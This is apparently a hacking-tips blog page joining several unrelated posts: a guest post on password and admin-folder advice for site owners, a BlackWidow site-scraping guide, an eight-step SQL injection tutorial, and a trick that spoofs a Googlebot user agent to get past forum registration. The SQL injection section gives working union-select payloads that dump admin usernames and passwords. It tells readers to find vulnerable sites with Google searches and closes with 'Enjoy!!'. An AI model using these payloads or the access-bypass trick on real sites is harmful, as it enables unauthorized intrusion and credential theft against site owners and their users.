Simple Yet Effective Security Tips Against Website Hackers

This is a guest post by Chris Miller.

The internet is a very vast place with all kinds of people surfing it. With growing awareness for internet and web based services it is now the responsibility of website owners to protect their websites against any risk or security threat from anyone else. Further, the customer information, such as credit card details and other sensitive personal information etc should be properly protected.

Hack attempts are very common phenomena now and it has been noticed that around 90% of the hackers use the simplest technique for it, i.e. human negligence. However, it is the responsibility of every software development company offering software development services to create secure websites and educate the website owners about various strategies and methods that would help them in securing their website from hack attempts. We are going to offer some very simple yet effective security tips for website owners that will help them in protecting their websites against hackers without applying any advanced security measures.

Create Strong Passwords: While this may sound absurd but it is one of the most targeted area by hackers. They rely on the fact that most of the users are not really aware about the concept of strong passwords. A weak password is usually the weakest link in the chain and hackers try to exploit it. The first thing that you need to do is create a very strong password.

Some of the passwords and password making techniques that should never be used are:

• Never use the name of your website or the domain name as the admin password.
• Predictable and simplest combinations such as admin123, abc123, QWERTY etc should be strongly avoided as hackers are definitely going to try them as the first thing.
• The username and the password should never be similar or have slight variations. This may sound foolish but many users keep their username and passwords same or very similar. For example, admin/admin123, George/george11 etc.
• Words such as password, secret, admin, go, start, begin etc are also in hackers top list.
• Also, avoid using words that are from dictionary as there are some programs that would match every word in the dictionary against a user name in order to find a password.

Your passwords should be at-least six characters long with a mixture of upper and lowercase letters combined with numbers and special characters. Further, make sure that you have unique passwords for each login and they are changed at-least once a month.

Do Not Save The Passwords: Avoid saving the passwords when you log into your site. The browsers save the password and hackers target them to fetch any file named saved passwords or similar words. They usually send out a Trojan that scans whole computer software for such files and sends them to the desired location.

Rename Your Admin Folder: Renaming the “admin” folder is another simple yet effective technique to save you website from hackers. Once you change the name of admin folder the hackers won’t even have a clue to reach your admin panel. However, the new name of the folder should not be containing dictionary words or the site name. Further, try to include number and special characters to make the name tougher to guess.

These are some of the simplest tricks to enhance the security of your website without requiring much technical help or expertise. However, website owners should include third party softwares and solutions to make the website secure.

About the author:

Chris Miller is a blogger cum developer @ Xicom Technologies. Xicom a leading CMMI Level-3 Web development company offerings Custom php development offshore web development, web development outsourcing services from a leading offshore web development company.

View & Download Complete Structure Of Any Website Using BlackWidow

Blackwidow software can download complete structure of site & can scan a site without downloading it to your hard drive.

Download it from here.

• Download blackwidow, install it & then open.
• Click on Browser menu, enter the address as abc.com & then press enter. It will browse the url you have entered.
• Now go to Scanner, click to Start Scan.
• After processing, you will see complete structure of site, likely you can also check for link errors, external errors etc.

Hack SQL Vulnerable Websites In 8 Steps (SQL Injection Tutorial)

As you have already gone through basic SQL injection (which is also called as Blind SQL Injection & mostly used by noobs) for hacking sites like using queries in admin & password fields as 1' or '1' = '1 or many like it. Today I will tell about how we can hack SQL vulnerable sites. This tutorial is only for educational purpose, it will show you how to attack on SQL databases of vulnerable sites, follow these steps:

1. Find SQL vulnerable site, for e.g. 
   http://www.example.com/index.php?id=3 (Easy way is to google it using "inurl:")
2. Check whether it's vulnerable or not, enter a ' after the 3 in the url, for e.g.
   http://www.example.com/index.php?id=3'
   
   
   Note: If page gives error, means you can continue, site is vulnerable. But if page loads without error, then website is not vulnerable.
3. Now find the number of columns in the database using "order by", for e.g.
   http://www.example.com/index.php?id=3 order by 1--
   http://www.example.com/index.php?id=3 order by 2--
   http://www.example.com/index.php?id=3 order by 3--
   http://www.example.com/index.php?id=3 order by 4--
   http://www.example.com/index.php?id=3 order by 5--
   http://www.example.com/index.php?id=3 order by 6--
   
   Note: If you receive error here, means we have 5 columns. If the site give error on "order by 8", then we would have 7 columns.
4. Now find the vulnerable columns in existing 5 columns, for e.g.
   http://www.example.com/index.php?id=3 union all select 1,2,3,4,5--
   
   
   Note: If it executes successfully, then page will show some numbers on the page. For e.g. 2 and 5, means columns 2 and 5 are vulnerable.
5. Find the database version, user & name with commands:
   http://www.example.com/index.php?id=3 union all select 1,user(),3,4,version()--
   http://www.example.com/index.php?id=3 union all select 1,version(),3,4,database()--
   
   Note: If the version is 5 and above, then carry on.
6. Now list all the table names using command after the url:
   union all select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--
   
   
   For e.g. http://www.example.com/index.php?id=3 union all select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--
   
   
   Take a glance at some useful tables like admin, user etc. Suppose you get table name admin.
7. Now list all the column names using:
   union all select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()--
   
   
   For e.g.: http://www.example.com/index.php?id=3 union all select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()--
   
   Find some useful columns from it like username, passwd etc.
8. Final step, retrieving the username & password fields from table admin (as mentioned above), use the command:
   union all select 1,group_concat(username,0x3a,passwd),3,4,5 from admin--
   Where admin is the table name.
   
   
   For e.g.: http://www.example.com/index.php?id=3 union all select 1,group_concat(username,0x3a,passwd),3,4,5 from admin--

That's all. Now you have admin username & password. Enjoy!!

Access Forum Based Websites Without Sign Up Process

User visit to forums for finding any information, but sometimes it requires register to view the forums contents. So here’s way to access all information without register to that site, follow these steps:

• Download the User Agent Switcher ad-on  for Firefox from here and install it.
• Now go to Tools> Default User Agent> User Agent Switcher> Options.
• It will display User Agent Switcher Options.
• Select New User Agent and type “crawl-66-249-66-1.googlebot.com” without quotes in Description and in User Agent: type “Googlebot/2.1 (+http://www.googlebot.com/bot.html)” without quotes, leave other fields blank and then OK.
• Now again go to Tools> Default User Agent and select crawl-66-249-66-1.googlebot.com

You have done, browse any forum based website without doing register. If you have a question in your mind about Google Bot then you can know about it from here.

Note: I suggest to enable this Add-on only when you have to access the forums because your browser will show incompatibility with your sites. Disable it when you've no need of it. Hope you will get success in first attempt.